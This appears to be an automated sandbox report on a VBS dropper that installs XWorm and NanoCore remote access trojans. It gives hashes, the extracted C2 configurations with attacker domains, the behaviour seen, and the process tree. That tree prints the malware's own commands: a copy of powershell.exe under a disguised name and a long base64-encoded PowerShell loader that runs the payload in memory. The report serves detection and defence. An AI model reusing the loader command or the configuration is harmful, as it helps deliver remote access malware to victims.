Analysis

  • max time kernel
    134s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29-08-2024 18:24

General

  • Target

    c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs

  • Size

    2.3MB

  • MD5

    1033c6b6d28d44c062806cf7d594e6f2

  • SHA1

    74c6a8a092c267399e87e91abb7be13df725b046

  • SHA256

    c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1

  • SHA512

    2b8e1421f95b631843cdfdd1c6419f43a12dd523eef53bc513b889a685655d313cfde7db5169cf3d662b638ec032644e1c9b4c7a1c2e9a6b285545052b6673b0

  • SSDEEP

    24576:bD/qEBZa71HU8t5t1brARP+rHHSjIPwSVs5fEEkhTb+jUTjs0oi6vXkkQW+pUFX8:vqyMTtMDjIYSi5MTCY3s0o2kQWCXKBo

Malware Config

Extracted

Family

xworm

Version

5.0

C2

reserved2021whsjsr.mywire.org:7100

Mutex

TDATvs0wpMfRfMfE

Attributes
  • install_file

    USB.exe

aes.plain

Extracted

Family

nanocore

Version

1.2.2.0

C2

builderlloulirabaonline23rd.mywire.org:7077

127.0.0.1:7077

Mutex

5a71ca6b-558e-46f1-b51d-f5c300aa04cd

Attributes
  • activate_away_mode

    true

  • backup_connection_host

    127.0.0.1

  • backup_dns_server

    8.8.4.4

  • buffer_size

    65535

  • build_time

    2024-05-20T07:18:37.133361836Z

  • bypass_user_account_control

    true

  • bypass_user_account_control_data

  • clear_access_control

    true

  • clear_zone_identifier

    false

  • connect_delay

    4000

  • connection_port

    7077

  • default_group

    D-Online23rd

  • enable_debug_mode

    true

  • gc_threshold

    1.048576e+07

  • keep_alive_timeout

    30000

  • keyboard_logging

    false

  • lan_timeout

    2500

  • max_packet_size

    1.048576e+07

  • mutex

    5a71ca6b-558e-46f1-b51d-f5c300aa04cd

  • mutex_timeout

    5000

  • prevent_system_sleep

    false

  • primary_connection_host

    builderlloulirabaonline23rd.mywire.org

  • primary_dns_server

    8.8.8.8

  • request_elevation

    true

  • restart_delay

    5000

  • run_delay

    0

  • run_on_startup

    true

  • set_critical_process

    true

  • timeout_interval

    5000

  • use_custom_dns_server

    false

  • version

    1.2.2.0

  • wan_timeout

    8000

Signatures

  • Detect Xworm Payload 2 IoCs
  • NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3428
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs"
        2⤵
        • Checks computer location settings
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:920
        • C:\Users\Admin\AppData\Local\Temp\c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs.exe
          "C:\Users\Admin\AppData\Local\Temp\c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs.exe" -enc JABDAHYAbwBrAGEAeQBrAHQAcAByACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAFoAegBuAGsAegB5AGYAbABnAGoAdwAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAEMAdgBvAGsAYQB5AGsAdABwAHIAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAQwBmAHgAegBpAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAWgB6AG4AawB6AHkAZgBsAGcAagB3AC4AUgBlAHAAbABhAGMAZQAoACcAUgBFAE0AIAAnACwAIAAnACcAKQAuAFIAZQBwAGwAYQBjAGUAKAAnAEAAJwAsACAAJwBBACcAKQApADsAJABLAGMAeABwAHEAdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQAoACAALAAgACQAQwBmAHgAegBpAHMAIAApADsAJABHAGMAeQB3AGUAegB5AHAAZwBxACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtADsAJABaAHEAdAB3AGcAbwBiAGoAeABkAHcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQASwBjAHgAcABxAHQALAAgACgAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAOwAkAFoAcQB0AHcAZwBvAGIAagB4AGQAdwAuAEMAbwBwAHkAVABvACgAIAAkAEcAYwB5AHcAZQB6AHkAcABnAHEAIAApADsAJABaAHEAdAB3AGcAbwBiAGoAeABkAHcALgBDAGwAbwBzAGUAKAApADsAJABLAGMAeABwAHEAdAAuAEMAbABvAHMAZQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AIAAkAEMAZgB4AHoAaQBzACAAPQAgACQARwBjAHkAdwBlAHoAeQBwAGcAcQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAQwBmAHgAegBpAHMAKQA7ACAAJABGAGgAegB4AHcAaQBoAHoAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEMAZgB4AHoAaQBzACkAOwAgACQAQQBkAGMAbwBqACAAPQAgACQARgBoAHoAeAB3AGkAaAB6AG4ALgBFAG4AdAByAHkAUABvAGkAbgB0ADsAIABbAFMAeQBzAHQAZQBtAC4ARABlAGwAZQBnAGEAdABlAF0AOgA6AEMAcgBlAGEAdABlAEQAZQBsAGUAZwBhAHQAZQAoAFsAQQBjAHQAaQBvAG4AXQAsACAAJABBAGQAYwBvAGoALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEEAZABjAG8AagAuAE4AYQBtAGUAKQAuAEQAeQBuAGEAbQBpAGMASQBuAHYAbwBrAGUAKAApACAAfAAgAE8AdQB0AC0ATgB1AGwAbAA=
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Checks computer location settings
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:4364
          • C:\Users\Admin\AppData\Local\Temp\WORMreserved2021whsjsr.mywire.org 7100.exe
            "C:\Users\Admin\AppData\Local\Temp\WORMreserved2021whsjsr.mywire.org 7100.exe"
            4⤵
            • Executes dropped EXE
            • Suspicious use of AdjustPrivilegeToken
            PID:3444
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: GetForegroundWindowSpam
        • Suspicious use of AdjustPrivilegeToken
        PID:4072
    • C:\Windows\system32\cmd.exe
      cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs.exe" /Y
      1⤵
      • Process spawned unexpected child process
      PID:1004

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\WORMreserved2021whsjsr.mywire.org 7100.exe

      Filesize

      32KB

      MD5

      8530aac64c7eae15a9e322ba01939297

      SHA1

      ea4bd22364ac8598020b4834807656a69c286ec3

      SHA256

      60d7df1282af530664475c64e172e40b04c052960be1ec73ad42156e11dccb0e

      SHA512

      af490d5a0605925dad587248f3ef1148c4b7310ba2b648ed0e8b0f9032ae37371cd9043fa2afd035850302f6e19a6e5d312c49caab5a8da3c304d7a958ce73e5

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_shjjoaiu.l1e.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\c6092b1788722f82280d3dca79784556df6b8203f4d8f271c327582dd9dcf6e1.vbs.exe

      Filesize

      423KB

      MD5

      c32ca4acfcc635ec1ea6ed8a34df5fac

      SHA1

      f5ee89bb1e4a0b1c3c7f1e8d05d0677f2b2b5919

      SHA256

      73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70

      SHA512

      6e43dca1b92faace0c910cbf9308cf082a38dd39da32375fad72d6517dea93e944b5e5464cf3c69a61eabf47b2a3e5aa014d6f24efa1a379d4c81c32fa39ddbc

    • memory/3444-1124-0x00000000002C0000-0x00000000002CE000-memory.dmp

      Filesize

      56KB

    • memory/4072-1140-0x0000000006280000-0x0000000006292000-memory.dmp

      Filesize

      72KB

    • memory/4072-1137-0x0000000006230000-0x000000000623C000-memory.dmp

      Filesize

      48KB

    • memory/4072-1143-0x00000000062B0000-0x00000000062C4000-memory.dmp

      Filesize

      80KB

    • memory/4072-1142-0x00000000062A0000-0x00000000062AC000-memory.dmp

      Filesize

      48KB

    • memory/4072-1141-0x0000000006290000-0x000000000629E000-memory.dmp

      Filesize

      56KB

    • memory/4072-1145-0x00000000062E0000-0x00000000062F4000-memory.dmp

      Filesize

      80KB

    • memory/4072-1146-0x0000000006300000-0x000000000630E000-memory.dmp

      Filesize

      56KB

    • memory/4072-1139-0x0000000006270000-0x000000000627E000-memory.dmp

      Filesize

      56KB

    • memory/4072-1138-0x0000000006240000-0x000000000625A000-memory.dmp

      Filesize

      104KB

    • memory/4072-1144-0x00000000062C0000-0x00000000062D0000-memory.dmp

      Filesize

      64KB

    • memory/4072-1134-0x0000000004F30000-0x0000000004F3A000-memory.dmp

      Filesize

      40KB

    • memory/4072-1133-0x0000000004E30000-0x0000000004E4E000-memory.dmp

      Filesize

      120KB

    • memory/4072-1132-0x0000000004CF0000-0x0000000004CFA000-memory.dmp

      Filesize

      40KB

    • memory/4072-1130-0x0000000004CA0000-0x0000000004CAA000-memory.dmp

      Filesize

      40KB

    • memory/4072-1129-0x0000000004D10000-0x0000000004DAC000-memory.dmp

      Filesize

      624KB

    • memory/4072-1128-0x0000000004BE0000-0x0000000004C72000-memory.dmp

      Filesize

      584KB

    • memory/4072-1127-0x0000000000700000-0x0000000000738000-memory.dmp

      Filesize

      224KB

    • memory/4072-1147-0x0000000006310000-0x000000000633E000-memory.dmp

      Filesize

      184KB

    • memory/4072-1148-0x0000000006340000-0x0000000006354000-memory.dmp

      Filesize

      80KB

    • memory/4364-60-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-34-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-92-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-88-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-86-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-84-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-82-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-80-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-78-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-76-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-74-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-72-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-70-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-66-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-62-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-90-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-58-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-56-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-54-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-52-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-50-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-48-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-44-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-42-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-40-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-38-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-36-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-94-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-32-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-31-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-1105-0x0000000007310000-0x0000000007390000-memory.dmp

      Filesize

      512KB

    • memory/4364-1106-0x0000000004B60000-0x0000000004BAC000-memory.dmp

      Filesize

      304KB

    • memory/4364-68-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-1122-0x0000000007E90000-0x0000000007EE4000-memory.dmp

      Filesize

      336KB

    • memory/4364-64-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-1126-0x0000000074C80000-0x0000000075430000-memory.dmp

      Filesize

      7.7MB

    • memory/4364-46-0x00000000071E0000-0x00000000072E0000-memory.dmp

      Filesize

      1024KB

    • memory/4364-30-0x00000000071E0000-0x00000000072E6000-memory.dmp

      Filesize

      1.0MB

    • memory/4364-29-0x0000000006F40000-0x0000000007090000-memory.dmp

      Filesize

      1.3MB

    • memory/4364-28-0x0000000008050000-0x00000000086CA000-memory.dmp

      Filesize

      6.5MB

    • memory/4364-27-0x0000000007420000-0x00000000079C4000-memory.dmp

      Filesize

      5.6MB

    • memory/4364-26-0x0000000006380000-0x00000000063A2000-memory.dmp

      Filesize

      136KB

    • memory/4364-25-0x0000000006300000-0x000000000631A000-memory.dmp

      Filesize

      104KB

    • memory/4364-24-0x0000000006DD0000-0x0000000006E66000-memory.dmp

      Filesize

      600KB

    • memory/4364-22-0x0000000005DE0000-0x0000000005DFE000-memory.dmp

      Filesize

      120KB

    • memory/4364-23-0x0000000005E70000-0x0000000005EBC000-memory.dmp

      Filesize

      304KB

    • memory/4364-17-0x0000000005720000-0x0000000005A74000-memory.dmp

      Filesize

      3.3MB

    • memory/4364-11-0x0000000004F90000-0x0000000004FF6000-memory.dmp

      Filesize

      408KB

    • memory/4364-10-0x0000000004EB0000-0x0000000004F16000-memory.dmp

      Filesize

      408KB

    • memory/4364-9-0x0000000004E10000-0x0000000004E32000-memory.dmp

      Filesize

      136KB

    • memory/4364-8-0x0000000074C80000-0x0000000075430000-memory.dmp

      Filesize

      7.7MB

    • memory/4364-7-0x0000000005070000-0x0000000005698000-memory.dmp

      Filesize

      6.2MB

    • memory/4364-6-0x0000000074C80000-0x0000000075430000-memory.dmp

      Filesize

      7.7MB

    • memory/4364-5-0x00000000027F0000-0x0000000002826000-memory.dmp

      Filesize

      216KB

    • memory/4364-4-0x0000000074C8E000-0x0000000074C8F000-memory.dmp

      Filesize

      4KB